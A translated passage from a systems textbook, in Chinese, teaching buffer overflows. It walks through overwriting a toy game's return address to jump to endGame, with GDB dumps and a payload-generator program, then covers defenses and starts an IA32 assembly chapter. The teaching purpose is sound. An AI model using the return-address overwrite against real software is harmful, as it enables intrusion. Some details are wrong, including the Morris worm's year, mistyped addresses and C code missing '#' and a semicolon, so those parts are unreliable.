缓冲区溢出漏洞攻击在 1980 年代出现,并在 2000 年代初期仍然是计算机行业的主要祸害。虽然许多现代操作系统对最简单的缓冲区溢出攻击有防护措施,但粗心的编程错误仍然可能使现代程序暴露于攻击之下。最近,Skype^(3)、Android^(4)、Google Chrome^(5) 等应用中发现了缓冲区溢出漏洞。
以下是一些著名的缓冲区溢出漏洞攻击的历史实例。
##### 莫里斯蠕虫
莫里斯蠕虫^(6)于 1998 年通过 MIT 的 ARPANet 发布(为了掩盖其由康奈尔大学的一名学生编写的事实),并利用了 Unix finger 守护进程(`fingerd`)中的缓冲区溢出漏洞。在 Linux 和其他类 Unix 系统中,*守护进程*是一种在后台持续执行的进程,通常执行清理和监控任务。`fingerd`守护进程返回关于计算机或用户的友好报告。最重要的是,蠕虫有一个复制机制,使其能够多次发送到同一台计算机,导致系统无法使用。尽管作者声称该蠕虫是作为一种无害的智力练习发布的,但复制机制使蠕虫能够轻松传播,并且很难移除。在之后的几年里,其他蠕虫也使用缓冲区溢出漏洞来获得未经授权的系统访问权限。著名的例子包括 Code Red(2001 年)、MS-SQLSlammer(2003 年)和 W32/Blaster(2003 年)。
##### AOL 聊天战争
大卫·奥尔巴赫^(7),一位前微软工程师,详细描述了他在 1990 年代末期将微软的 Messenger 服务(MMS)与 AOL 即时消息(AIM)整合过程中遇到的缓冲区溢出问题。当时,如果你想和朋友或家人进行即时消息(IM)交流,AOL 即时消息(AIM)是*唯一*的服务。微软试图通过在 MMS 中设计一项功能,使 MMS 用户能够与他们的 AIM“好友”交流,来在这个市场中占一席之地。AOL 不满于此,修补了他们的服务器,使 MMS 无法再与其连接。微软的工程师找到了让 MMS 客户端模仿 AIM 客户端发送到 AOL 服务器的消息的方式,使得 AOL 很难区分由 MMS 和 AIM 接收到的消息。AOL 回应道,通过改变 AIM 发送消息的方式来进行应对,MMS 的工程师也相应修改了客户端的消息,再次与 AIM 的消息保持一致。这场“聊天战争”持续了下来,直到 AOL 开始在*他们自己的客户端*中使用缓冲区溢出错误来验证发送的消息是否来自 AIM 客户端。由于 MMS 客户端没有相同的漏洞,这场聊天战争最终以 AOL 的胜利告终。
#### 7.10.2 初步了解:猜测游戏
为了帮助你理解缓冲区溢出攻击的机制,我们提供了一个简单程序的可执行文件,该程序让用户与程序进行猜测游戏。下载`secret`可执行文件^(8)并使用`tar`命令解压:
$ tar -xzvf secretx86-64.tar.gz
在接下来的部分,我们提供了与可执行文件相关的主文件副本:
main.c
include <stdio.h>
include <stdlib.h>
include "other.h" //contains secret function definitions
/prints out the You Win! message/
void endGame(void) {
printf("You win!\n");
exit(0);
}
/main function of the game/
int main() {
int guess, secret, len, x=3
char buf[12]; //buffer (12 bytes long)
printf("Enter secret number:\n");
scanf("%s", buf); //read guess from user input
guess = atoi(buf); //convert to an integer
secret = getSecretCode(); //call the getSecretCode function
//check to see if guess is correct
if (guess == secret) {
printf("You got it right!\n");
}
else {
printf("You are so wrong!\n");
return 1; //if incorrect, exit
}
printf("Enter the secret string to win:\n");
scanf("%s", buf); //get secret string from user input
guess = calculateValue(buf, strlen(buf)); //call calculateValue function
//check to see if guess is correct
if (guess != secret) {
printf("You lose!\n");
return 2; //if guess is wrong, exit
}
/*if both the secret string and number are correct
call endGame()*/
endGame();
return 0;
}
这个游戏要求用户首先输入一个秘密数字,然后输入一个秘密字符串以赢得猜谜游戏。头文件`other.h`包含`getSecretCode`和`calculateValue`函数的定义,但我们无法访问它。那么,用户如何能击败这个程序呢?暴力破解的解决方案需要太长时间。一个策略是使用 GDB 分析`secret`可执行文件并逐步执行汇编代码,以揭示秘密数字和字符串。通过汇编代码反向分析以揭示其工作原理的过程通常被称为*反向工程*汇编。熟悉 GDB 和汇编阅读的读者应该能够通过使用 GDB 反向工程这些值,找出秘密数字和字符串是什么。
然而,还有一种更隐蔽的方式可以获胜。
#### 7.10.3 深入观察(C 语言下的实现)
程序在第一次调用`scanf`时存在潜在的缓冲区溢出漏洞。为了理解发生了什么,让我们使用 GDB 检查`main`函数的汇编代码。我们还将在地址 0x0000000000400717 处设置一个断点,这是`scanf`调用前的指令地址(注意,将断点放在`scanf`的地址会导致程序执行在`scanf`内部暂停,而不是在`main`中)。
0x00000000004006f2 <+0>: push %rbp
0x00000000004006f3 <+1>: mov %rsp,%rbp
0x00000000004006f6 <+4>: sub $0x20,%rsp
0x00000000004006fa <+8>: movl $0x3,-0x4(%rbp)
0x0000000000400701 <+15>: mov $0x400873,%edi
0x0000000000400706 <+20>: callq 0x400500 printf@plt
0x000000000040070b <+25>: lea -0x20(%rbp),%rax
0x000000000040070f <+29>: mov %rax,%rsi
0x0000000000400712 <+32>: mov $0x400888,%edi
=> 0x0000000000400717 <+37>: mov $0x0,%eax
0x000000000040071c <+42>: callq 0x400540 scanf@plt
图 7-16 展示了调用`scanf`前的栈状态。

*图 7-16:调用`scanf`之前的调用栈*
在调用`scanf`之前,`scanf`的前两个参数已分别预加载到寄存器`%edi`和`%rsi`中。位于`<main+25>`位置的`lea`指令创建了数组`buf`的引用。
现在,假设用户在提示符下输入`1234567890`。图 7-17 展示了`scanf`调用完成后栈的状态。

*图 7-17:调用`scanf`后,输入`1234567890`的调用栈*
回想一下,数字 0 到 9 的 ASCII 编码的十六进制值分别是 0x30 到 0x39,并且每个栈内存位置的长度为 8 字节。帧指针距离栈指针 32 字节。读者可以通过使用 GDB 打印`%rbp`的值来确认其值(命令为`p` `$rbp`)。在所示的示例中,`%rbp`的值为 0x7fffffffdd10。以下命令允许读者查看`%rsp`下方 48 字节(以十六进制显示):
(gdb) x /48bx $rsp
此 GDB 命令输出的内容看起来类似于以下内容:
(gdb) x /48bx $rsp
0x7fffffffdcf0: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0x7fffffffdcf8: 0x39 0x30 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdd00: 0xf0 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd08: 0x00 0x00 0x00 0x00 0x03 0x00 0x00 0x00
0x7fffffffdd10: 0xd0 0x07 0x40 0x00 0x00 0x00 0x00 0x00
0x7fffffffdd18: 0x30 0xd8 0xa2 0xf7 0xff 0x7f 0x00 0x00
每一行表示一个 64 位地址,或两个 32 位地址。因此,32 位地址 0x7fffffffdd0c 所关联的值位于显示 0x7fffffffdd08 的行的最右边四个字节。
**注意:多字节值以小端顺序存储**
在前面的汇编段中,地址 0xf7ffffffdd00 处的字节是 0xf0,地址 0xf7ffffffdd01 处的字节是 0xdd,地址 0xf7ffffffdd02 处的字节是 0xff,地址 0xf7ffffffdd03 处的字节是 0xff,地址 0xf7ffffffdd04 处的字节是 0xff,地址 0xf7ffffffdd05 处的字节是 0x7f。然而,地址 0x7fffffffdd00 处的 64 位*值*实际上是 0x7fffffffddf0。请记住,由于 x86-64 是一个小端系统(参见第 224 页的“整数字节顺序”),多字节值(如地址)的字节是以反向顺序存储的。
在这个例子中,`buf`的地址位于栈的顶部。因此,前两个地址保存了与输入字符串 1234567890 相关的输入字节:
0x7fffffffdcf0: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0x7fffffffdcf8: 0x39 0x30 0x00 0x00 0x00 0x00 0x00 0x00
空字符终止字节`\0`出现在第三个最重要字节的位置,即地址 0x7fffffffdcf8(即,地址 0x7fffffffdcfa)。回想一下,`scanf`会用一个空字节终止所有字符串。
当然,1234567890 不是秘密数字。以下是当我们尝试使用输入字符串 1234567890 运行`secret`时的输出:
$ ./secret
Enter secret number:
1234567890
You are so wrong!
$ echo $?
1
`echo $?`命令会打印出上一条执行命令的返回值。在这个例子中,程序返回了 1,因为我们输入的秘密数字是错误的。请记住,按照惯例,程序在没有错误时返回 0。我们接下来的目标是欺骗程序,使其返回值为 0,表示我们赢得了游戏。
#### 7.10.4 缓冲区溢出:第一次尝试
接下来,让我们尝试输入字符串 1234567890123456789012345678901234567890123:
$ ./secret
Enter secret number:
1234567890123456789012345678901234567890123
You are so wrong!
Segmentation fault (core dumped)
$ echo $?
139
有趣!现在程序因段错误崩溃,返回代码为 139。图 7-18 展示了在输入新字符串后,`main`函数的调用栈状态。

*图 7-18:在输入 1234567890123456789012345678901234567890123 并调用`scanf`后,调用栈的状态*
输入字符串如此之长,以至于它不仅覆盖了存储在 0xd08 和 0xd10 处的值,还溢出到了`main`函数的栈帧下方的返回地址。回想一下,当一个函数返回时,程序会尝试在返回地址指定的地址继续执行。在这个例子中,程序在退出`main`后试图在地址 0xf7ff00333231 处恢复执行,但这个地址似乎不存在。因此,程序因段错误崩溃。
在 GDB 中重新运行程序(`input.txt`包含上述输入字符串)会揭示出这种恶意行为的实际效果:
$ gdb secret
(gdb) break *0x0000000000400717
(gdb) run < input.txt
(gdb) ni
(gdb) x /48bx $rsp
0x7fffffffdcf0: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0x7fffffffdcf8: 0x39 0x30 0x31 0x32 0x33 0x34 0x35 0x36
0x7fffffffdd00: 0x37 0x38 0x39 0x30 0x31 0x32 0x33 0x34
0x7fffffffdd08: 0x35 0x36 0x37 0x38 0x39 0x30 0x31 0x32
0x7fffffffdd10: 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x30
0x7fffffffdd18: 0x31 0x32 0x33 0x00 0xff 0x7f 0x00 0x00
(gdb) n
Single stepping until exit from function main,
which has no line number information.
You are so wrong!
0x00007fff00333231 in ?? ()
请注意,我们的输入字符串超出了`buf`数组的规定范围,覆盖了栈上存储的其他所有值。换句话说,我们的字符串造成了缓冲区溢出,并破坏了调用栈,导致程序崩溃。这个过程也被称为*堆栈破坏*。
#### 7.10.5 更智能的缓冲区溢出:第二次尝试
我们的第一个示例通过覆盖`%rbp`寄存器和返回地址,并填入垃圾数据,导致程序崩溃。一个目标仅仅是让程序崩溃的攻击者在这一点上就可以满足了。然而,我们的目标是欺骗猜测游戏返回 0,表示我们赢得了游戏。我们通过用比垃圾数据更有意义的数据填充调用栈来实现这一点。例如,我们可以覆盖栈,使返回地址被`endGame`的地址替换。这样,当程序尝试从`main`返回时,它将执行`endGame`,而不是因为段错误而崩溃。
为了找出`endGame`的地址,让我们在 GDB 中再次检查`secret`:
$ gdb secret
(gdb) disas endGame
Dump of assembler code for function endGame:
0x00000000004006da <+0>: push %rbp
0x00000000004006db <+1>: mov %rsp,%rbp
0x00000000004006de <+4>: mov $0x40086a,%edi
0x00000000004006e3 <+9>: callq 0x400500 puts@plt
0x00000000004006e8 <+14>: mov $0x0,%edi
0x00000000004006ed <+19>: callq 0x400550 exit@plt
End of assembler dump.
请注意,`endGame`的起始地址是 0x00000000004006da。图 7-19 展示了一个示例攻击,它强制`secret`执行`endGame`函数。

*图 7-19:一个强制`secret`执行`endGame`函数的示例字符串*
本质上,有 40 个字节的垃圾数据,后面跟着返回地址。同样,由于 x86-64 是小端系统,返回地址中的字节按反向顺序显示。
以下程序演示了攻击者如何构造前面的攻击:
include <stdio.h>
char ebuff[]=
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /first 10 bytes of junk/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /next 10 bytes of junk/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /following 10 bytes of junk/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /last 10 bytes of junk/
"\xda\x06\x40\x00\x00\x00\x00\x00" /address of endGame (little endian)/
;
int main(void) {
int i;
for (i = 0; i < sizeof(ebuff); i++) { /print each character/
printf("%c", ebuff[i]);
}
return 0;
}
每个数字前的`\x`表示该数字以字符的十六进制表示形式显示。在定义了`ebuff[]`之后,`main`函数只需逐个字符打印出来。要获取相关的字节串,按照以下方式编译并运行此程序:
$ gcc -o genEx genEx.c
$ ./genEx > exploit
要将文件`exploit`作为输入传递给`scanf`,只需按照以下方式运行`secret`并提供`exploit`:
$ ./secret < exploit
Enter secret number:
You are so wrong!
You win!
程序打印出“你错得太离谱了!”因为`exploit`中包含的字符串*不是*秘密数字。然而,程序也打印出了字符串“你赢了!”然而,请记住,我们的目标是欺骗程序返回 0。在更大的系统中,其中“成功”这一概念由外部程序跟踪,通常最重要的是程序返回的内容,而不是它打印出的内容。
检查返回值得到:
$ echo $?
0
我们的攻击成功了!我们赢得了游戏!
#### 7.10.6 防护缓冲区溢出
我们展示的示例改变了`secret`可执行文件的控制流,强制它返回与成功相关的零值。然而,像这样的攻击可能会造成真正的损害。此外,一些旧的计算机系统曾经*执行*来自栈内存的字节。如果攻击者将与汇编指令相关的字节放置在调用栈上,CPU 会将这些字节解释为*真正*的指令,从而使攻击者能够强制 CPU 执行*任何他们选择的任意代码*。幸运的是,现代计算机系统采取了一些策略,使得攻击者更难以成功执行缓冲区溢出攻击:
**栈随机化。** 操作系统将栈的起始地址分配到栈内存中的随机位置,导致调用栈的位置/大小在每次程序运行时有所不同。多台运行相同代码的机器将有不同的栈地址。现代 Linux 系统将栈随机化作为标准做法。然而,一名决心坚定的攻击者可以通过尝试使用不同地址重复进行攻击,从而进行暴力破解。一种常见的技巧是使用*NOP 滑道*(即大量`nop`指令)放置在实际的利用代码之前。执行`nop`指令(`0x90`)没有任何效果,只是让程序计数器递增到下一个指令。只要攻击者能够让 CPU 在 NOP 滑道中执行,NOP 滑道最终会引导到它后面的利用代码。Aleph One 的写作^(9)详细描述了这种攻击机制。
**栈破坏检测。** 另一道防线是尝试检测栈是否被破坏。GCC 的最新版本使用了一种称为*金丝雀*的栈保护器,它充当缓冲区和栈其他元素之间的守卫。金丝雀是一个存储在不可写内存区域中的值,可以与栈上放置的值进行比较。如果金丝雀在程序执行过程中“死亡”,程序就知道它受到了攻击,并以错误信息中止。然而,聪明的攻击者可以替换金丝雀,从而防止程序检测到栈破坏。
**限制可执行区域。** 在这一防线中,可执行代码仅限于特定的内存区域。换句话说,调用栈不再是可执行的。然而,甚至这种防线也可以被突破。在利用*返回导向编程*(ROP)进行的攻击中,攻击者可以在可执行区域内“挑选”指令,并通过指令间跳跃来构建利用代码。网上有一些著名的实例,尤其是在视频游戏中。^(10)
然而,最好的防线始终是程序员。为了防止程序受到缓冲区溢出攻击,请尽可能使用带有*长度说明符*的 C 函数,并添加执行数组边界检查的代码。确保任何定义的数组都与选择的长度说明符匹配至关重要。表 7-19 列出了一些常见的“坏”C 函数,这些函数容易受到缓冲区溢出攻击,并且列出了相应的“好”函数(假设`buf`被分配了 12 个字节)。
**表 7-19:** 带有长度说明符的 C 函数
| **替代** | **使用** |
| --- | --- |
| `gets(buf)` | `fgets(buf, 12, stdin)` |
| `scanf("%s", buf)` | `scanf("%12s", buf)` |
| `strcpy(buf2, buf)` | `strncpy(buf2, buf, 12)` |
| `strcat(buf2, buf)` | `strncat(buf2, buf, 12)` |
| `sprintf(buf, "%d", num)` | `snprintf(buf, 12, "%d", num)` |
`secret2` 二进制文件^(11)不再具有缓冲区溢出漏洞。以下是该新二进制文件的 `main` 函数:
main2.c
include <stdio.h>
include <stdlib.h>
include "other.h" //contain secret function definitions
/prints out the You Win! message/
void endGame(void) {
printf("You win!\n");
exit(0);
}
/main function of the game/
int main() {
int guess, secret, len, x=3
char buf[12]; //buffer (12 bytes long)
printf("Enter secret number:\n");
scanf("%12s", buf); //read guess from user input (fixed!)
guess = atoi(buf); //convert to an integer
secret=getSecretCode(); //call the getSecretCode function
//check to see if guess is correct
if (guess == secret) {
printf("You got it right!\n");
}
else {
printf("You are so wrong!\n");
return 1; //if incorrect, exit
}
printf("Enter the secret string to win:\n");
scanf("%12s", buf); //get secret string from user input (fixed!)
guess = calculateValue(buf, strlen(buf)); //call calculateValue function
//check to see if guess is correct
if (guess != secret) {
printf("You lose!\n");
return 2; //if guess is wrong, exit
}
/*if both the secret string and number are correct
call endGame()*/
endGame();
return 0;
}
请注意,我们为所有 `scanf` 调用添加了长度说明符,导致 `scanf` 函数在读取输入的前 12 个字节后停止读取。此时,漏洞字符串不再破坏程序:
$ ./secret2 < exploit
Enter secret number:
You are so wrong!
$ echo $?
1
当然,任何具备基本逆向工程技能的读者仍然可以通过分析汇编代码来赢得猜测游戏。如果你还没有尝试通过逆向工程来破解程序,我们鼓励你现在就尝试。
### 注释
1. Edsger Dijkstra,“Go To 语句被认为是有害的,” *ACM 通讯* 11(3),第 147–148 页,1968 年。
2. *[`diveintosystems.org/book/C7-x86_64/recursion.html`](https://diveintosystems.org/book/C7-x86_64/recursion.html)*
3. Mohit Kumar, “致命的 Skype 漏洞允许黑客远程执行恶意代码,” *[`thehackernews.com/2017/06/skype-crash-bug.html`](https://thehackernews.com/2017/06/skype-crash-bug.html)*, 2017.
4. Tamir Zahavi-Brunner, “CVE-2017-13253:多个 Android DRM 服务中的缓冲区溢出,” *[`blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/`](https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/)*, 2018.
5. Tom Spring, “谷歌修补‘高危’浏览器漏洞,” *[`threatpost.com/google-patches-high-severity-browser-bug/128661/`](https://threatpost.com/google-patches-high-severity-browser-bug/128661/)*, 2017.
6. Christopher Kelty, “莫里斯蠕虫,” *Limn Magazine*,第 1 期:系统性风险,2011 年。* [`limn.it/articles/the-morris-worm/`](https://limn.it/articles/the-morris-worm/)*
7. David Auerbach, “聊天战争:微软与 AOL,” *NplusOne Magazine*,第 19 期,2014 年春季。* [`nplusonemag.com/issue-19/essays/chat-wars/`](https://nplusonemag.com/issue-19/essays/chat-wars/)*
8. *[`diveintosystems.org/book/C7-x86_64/_attachments/secretx86-64.tar.gz`](https://diveintosystems.org/book/C7-x86_64/_attachments/secretx86-64.tar.gz)*
9. Aleph One, “为了乐趣和利润摧毁堆栈,” *[`insecure.org/stf/smashstack.html`](http://insecure.org/stf/smashstack.html)*, 1996.
10. DotsAreCool, “超级马里奥世界信用传送” (任天堂 ROP 示例), *[`youtu.be/vAHXK2wut_I`](https://youtu.be/vAHXK2wut_I)*, 2015.
11. *[`diveintosystems.org/book/C7-x86_64/_attachments/secret2x86-64.tar.gz`](https://diveintosystems.org/book/C7-x86_64/_attachments/secret2x86-64.tar.gz)*
# 第九章:32 位 x86 汇编(IA32)

在本章中,我们将探索 Intel 架构 32 位(IA32)指令集架构。回想一下 第五章,指令集架构(ISA)定义了机器级程序的指令集和二进制编码。要运行本章中的示例,你需要一台配有 x86 处理器的机器或一个可以创建 32 位可执行文件的编译器。术语“x86”通常与 IA32 架构互换使用。x86 架构及其 64 位变种 x86-64 在现代计算机中无处不在。
很少有现代机器配备 32 位处理器;自 2007 年以来,大多数 Intel 和 AMD 系统都配备了 64 位处理器。要检查你的处理器类型,可以使用 `uname -p` 命令:
$ uname -p
i686
如果输入 `uname -p` 返回 `i686` 或 `i386`,说明你的系统配备的是 32 位处理器。然而,如果 `uname -p` 返回 `x86_64`,说明你的系统配备的是较新的 64 位处理器。请注意,因为 x86-64 是较旧的 IA32 ISA 的 *扩展*,几乎所有 64 位系统都包含一个 32 位子系统,允许执行 32 位可执行文件。
如果你使用的是 64 位 Linux 系统,有时需要额外的包来允许用户创建 32 位可执行文件,就像我们在本章中将要做的那样。例如,在 Ubuntu 系统上,你需要安装 32 位开发库和其他包,以增强 GCC 的交叉编译功能:
$ sudo apt-get install libc6-dev-i386 gcc-multilib
x86 语法分支
x86 架构通常遵循两种不同的语法分支之一。由于 Unix 在 AT&T 贝尔实验室开发,Unix 机器通常使用 AT&T 语法。相应的汇编器是 GNU 汇编器(GAS)。由于我们在本书中大多数示例都使用 GCC,因此我们在本章中讲解 AT&T 语法。Windows 机器通常使用 Intel 语法,这是微软宏汇编器(MASM)使用的语法。Netwide 汇编器(NASM)是一个使用 Intel 语法的 Linux 汇编器。关于哪种语法更优的争论,是该学科的“圣战”之一。然而,熟悉这两种语法是有价值的,因为程序员在不同的情况下可能会遇到其中的任何一种。
### 8.1 探索汇编语言:基础知识
在初次接触汇编时,我们将修改 第六章 中的 `adder` 函数,简化其行为。这里是修改后的函数(`adder2`):
modified.c
include <stdio.h>
//adds two to an integer and returns the result
int adder2(int a) {
return a + 2;
}
int main(){
int x = 40;
x = adder2(x);
printf("x is: %d\n", x);
return 0;
}
要编译这段代码,请使用以下命令:
$ gcc -m32 -o modified modified.c
`-m32` 标志告诉 GCC 编译器将代码编译为 32 位可执行文件。如果忘记包含这个标志,生成的汇编代码可能与本章中的示例有很大不同;默认情况下,GCC 编译为 x86-64 汇编,即 x86 的 64 位变体。然而,几乎所有的 64 位架构都具有用于向后兼容的 32 位操作模式。本章介绍 IA32,其他章节则涵盖 x86-64 和 ARM。尽管 IA32 已有些年头,但它仍然对于理解程序如何运行和如何优化代码非常有用。
接下来,让我们通过输入以下命令查看这段代码的对应汇编:
$ objdump -d modified > output
$ less output
在使用 `less` 查看文件 `output` 时,输入 `/adder2` 查找与 `adder2` 相关的代码片段。与 `adder2` 相关的部分应类似于以下内容:
0804840b
804840b: 55 push %ebp
804840c: 89 e5 mov %esp,%ebp
804840e: 8b 45 08 mov 0x8(%ebp),%eax
8048411: 83 c0 02 add $0x2,%eax
8048414: 5d pop %ebp
8048415: c3 ret
*adder2 函数的汇编输出*
如果你还不明白发生了什么,也不用担心。我们将在后面的章节中更详细地讲解汇编内容。目前,我们将研究这些单独指令的结构。
上面示例中的每一行都包含了指令在程序内存中的地址、与指令对应的字节以及指令本身的明文表示。例如,`55` 是指令 `push %ebp` 的机器码表示,且该指令出现在程序内存地址 0x804840b 处。
需要注意的是,一行 C 代码通常会翻译成多条汇编指令。操作 `a + 2` 由两条指令 `mov 0x8(%ebp),%eax` 和 `add $0x2,%eax` 表示。
**警告:你的汇编代码可能会有所不同!**
如果你正在与我们一起编译代码,你可能会注意到你的某些汇编示例与本书中展示的有所不同。任何编译器输出的精确汇编指令取决于该编译器的版本和底层操作系统。本书中的大部分汇编示例是在运行 Ubuntu 或 Red Hat Enterprise Linux (RHEL) 系统上生成的。
在接下来的示例中,我们没有使用任何优化标志。例如,我们使用命令 `gcc -m32 -o example example.c` 编译任何示例文件(`example.c`)。因此,接下来的示例中有许多看似冗余的指令。请记住,编译器并不“智能”——它只是按照一系列规则将人类可读的代码翻译成机器语言。在这个翻译过程中,出现某些冗余是很常见的。优化编译器在优化过程中会去除这些冗余,优化内容将在第十二章中详细介绍。
#### 8.1.1 寄存器
回想一下,*寄存器*是直接位于 CPU 上的字长存储单元。可能会有不同的寄存器用于存储数据、指令和地址。例如,Intel CPU 有八个用于存储 32 位数据的寄存器:`%eax`、`%ebx`、`%ecx`、`%edx`、`%edi`、`%esi`、`%esp` 和 `%ebp`。
程序可以读取或写入这八个寄存器的内容。前六个寄存器都用于存储通用数据,而最后两个寄存器通常被编译器保留用于存储地址数据。虽然程序可以将通用寄存器的内容解释为整数或地址,但寄存器本身并不区分这些类型。最后两个寄存器(`%esp`和`%ebp`)分别被称为*栈指针*和*帧指针*。编译器保留这些寄存器用于维护程序栈的布局。通常,`%esp`指向程序栈的顶部,而`%ebp`指向当前栈帧的底部。我们将在“汇编中的函数”(见第 326 页)的讨论中更详细地探讨栈帧和这两个寄存器。
最后一个值得提及的寄存器是`%eip`,也称为*指令指针*,有时也叫*程序计数器*(PC)。它指向 CPU 即将执行的下一条指令。与之前提到的八个寄存器不同,程序不能直接写入`%eip`寄存器。
#### 8.1.2 高级寄存器符号
对于前六个寄存器,指令集架构(ISA)提供了一种机制来访问每个寄存器的低 16 位。ISA 还提供了另一种机制,用于访问前四个寄存器的低 16 位中的 8 位组件。表 8-1 列出了每个寄存器及其访问组件字节的 ISA 机制(如果有的话)。
**表 8-1:** x86 寄存器及访问低字节的机制
| **32 位寄存器** **(位 31–0)** | **低 16 位** **(位 15–0)** | **(位 15–8)** | **(位 7–0)** |
| --- | --- | --- | --- |
| `%eax` | `%ax` | `%ah` | `%al` |
| `%ebx` | `%bx` | `%bh` | `%bl` |
| `%ecx` | `%cx` | `%ch` | `%cl` |
| `%edx` | `%dx` | `%dh` | `%dl` |
| `%edi` | `%di` | | |
| `%esi` | `%si` | | |
任何上述寄存器的低 16 位可以通过引用寄存器名称中的最后两个字母来访问。例如,使用`%ax`来访问`%eax`的低 16 位。
可以通过获取寄存器名称中的最后两个字母,并根据需要的字节,将最后一个字母替换为`h`(表示*高字节*)或`l`(表示*低字节*)来访问前四个列出的寄存器的低 16 位中的*高字节*和*低字节*。例如,`%al`引用`%ax`寄存器的低 8 位,而`%ah`引用`%ax`寄存器的高 8 位。这些 8 位寄存器通常由编译器用于存储某些操作的单字节值,例如按位移位操作(32 位寄存器不能被移位超过 32 位,而数字 32 只需要一个字节的存储)。通常,编译器会使用完成操作所需的最小组件寄存器。
#### 8.1.3 指令结构
每条指令由操作码(或 *操作码*)和一个或多个 *操作数* 组成,操作数指定指令如何执行操作。例如,指令 `add $0x2,%eax` 中,操作码是 `add`,操作数是 `$0x2` 和 `%eax`。
每个操作数对应特定操作的源或目标位置。操作数有多种类型:
+ *常量*(*字面量*)值前面有 `$` 符号。例如,在指令 `add $0x2,%eax` 中,`$0x2` 是一个字面量值,对应十六进制值 0x2。
+ *寄存器*形式指的是各个独立的寄存器。指令 `add` `$0x2,%eax` 指定寄存器 `%eax` 为目标位置,其中将存储 `add` 操作的结果。
+ *内存*形式指的是主内存(RAM)中的某个值,通常用于地址查找。内存地址形式可以包含寄存器和常量值的组合。例如,在指令 `mov 0x8(%ebp),%eax` 中,操作数 `0x8(%ebp)` 就是内存形式的一个例子。它大致翻译为“将 0x8 加到寄存器 `%ebp` 的值上,然后执行内存查找。”如果这听起来像是指针解引用,那是因为它确实是!
#### 8.1.4 操作数示例
解释操作数的最佳方法是通过一个快速示例。假设内存中包含以下值:
| **地址** | **值** |
| --- | --- |
| 0x804 | 0xCA |
| 0x808 | 0xFD |
| 0x80c | 0x12 |
| 0x810 | 0x1E |
假设以下寄存器包含值:
| **地址** | **值** |
| --- | --- |
| `%eax` | 0x804 |
| `%ebx` | 0x10 |
| `%ecx` | 0x4 |
| `%edx` | 0x1 |
然后,表 8-2 中的操作数会计算出所示的值。表中的每一行将一个操作数与其形式(例如,常量、寄存器、内存)进行匹配,显示如何翻译以及其值。请注意,在此上下文中,符号 M[x] 表示位于地址 x 的内存位置中的值。
**表 8-2:** 操作数示例
| **操作数** | **形式** | **翻译** | **值** |
| --- | --- | --- | --- |
| `%ecx` | 寄存器 | `%ecx` | 0x4 |
| `(%eax)` | 内存 | M[`%eax`] 或 M[0x804] | 0xCA |
| `$0x808` | 常量 | 0x808 | 0x808 |
| `0x808` | 内存 | M[0x808] | 0xFD |
| `0x8(%eax)` | 内存 | M[`%eax` + 8] 或 M[0x80c] | 0x12 |
| `(%eax, %ecx)` | 内存 | M[`%eax` + `%ecx`] 或 M[0x808] | 0xFD |
| `0x4(%eax, %ecx)` | 内存 | M[`%eax` + `%ecx` + 4] 或 M[0x80c] | 0x12 |
| `0x800(,%edx,4)` | 内存 | M[0x800 + `%edx`×4] 或 M[0x804] | 0xCA |
| `(%eax, %edx, 8)` | 内存 | M[`%eax` + `%edx`×8] 或 M[0x80c] | 0x12 |
在 表 8-2 中,符号 `%ecx` 表示寄存器 `%ecx` 中存储的值。相比之下,M[`%eax`] 表示将 `%eax` 中的值作为地址进行处理,并查找该地址中的值。因此,操作数 `(%eax)` 对应于 M[0x804],其值为 0xCA。
在继续之前,有几点重要说明。虽然 表 8-2 显示了许多有效的操作数形式,但并非所有形式都能在所有情况下互换使用。
具体来说:
+ 常量形式不能作为目标操作数。
+ 内存形式不能作为单条指令中的*源操作数*和*目标操作数*同时使用。
+ 在缩放操作的情况下(参考 表 8-2 中显示的最后两个操作数),缩放因子必须是 1、2、4 或 8 之一。
表 8-2 提供了参考,但理解关键的操作数形式将帮助读者提高解析汇编语言的速度。
#### 8.1.5 指令后缀
在接下来的几个例子中,常见的算术指令会有一个后缀,表示在代码层面上操作的数据的 *大小*(与 *类型* 相关)。编译器会自动将代码翻译为带有适当后缀的指令。表 8-3 展示了 x86 指令的常见后缀。
**表 8-3:** 示例指令后缀
| **后缀** | **C 类型** | **大小(字节)** |
| --- | --- | --- |
| b | `char` | 1 |
| w | `short` | 2 |
| l | `int`,`long`,`unsigned` | 4 |
请注意,涉及条件执行的指令会根据评估的条件使用不同的后缀。我们将在“条件控制和循环”部分中讨论与条件指令相关的内容,详见 第 310 页。
### 8.2 常见指令
本节讨论了几条常见的 x86 汇编指令。 表 8-4 列出了 x86 汇编中最基础的指令。
**表 8-4:** 最常见的指令
| **指令** | **翻译** | |
| --- | --- | --- |
| `mov S,D` | S → D | (将 S 的值复制到 D) |
| `add S,D` | S + D → D | (将 S 加到 D 并将结果存储到 D) |
| `sub S,D` | D – S → D | (从 D 中减去 S 并将结果存储到 D) |
因此,指令序列
mov 0x8(%ebp),%eax
add $0x2,%eax
翻译为:
+ 将内存中 `%ebp` + 0x8 位置的值(或 M[`%ebp` + 0x8])复制到寄存器 `%eax`。
+ 将值 0x2 加到寄存器 `%eax`,并将结果存储到寄存器 `%eax` 中。
表 8-4 中展示的三条指令也是构建保持程序堆栈结构的指令(即 *调用堆栈*)的基础模块。回想一下,寄存器 `%ebp` 和 `%esp` 分别表示 *帧* 指针和 *栈* 指针,并由编译器保留用于调用堆栈管理。回顾我们在“程序内存及作用域”部分中讨论的内容(见 第 64 页),调用堆栈存储局部变量和参数,并帮助程序跟踪自身执行过程(见 图 8-1)。

*图 8-1:程序地址空间的组成部分*
在 IA32 系统中,执行栈朝 *较低* 地址方向增长。像所有栈数据结构一样,操作发生在栈的“顶部”。x86 ISA 提供了两条指令(表 8-5)来简化调用栈管理。
**表 8-5:** 栈管理指令
| **指令** | **翻译** |
| --- | --- |
| `push S` | 将 S 的副本压入栈顶。等价于: |
| | `sub $4,%esp` |
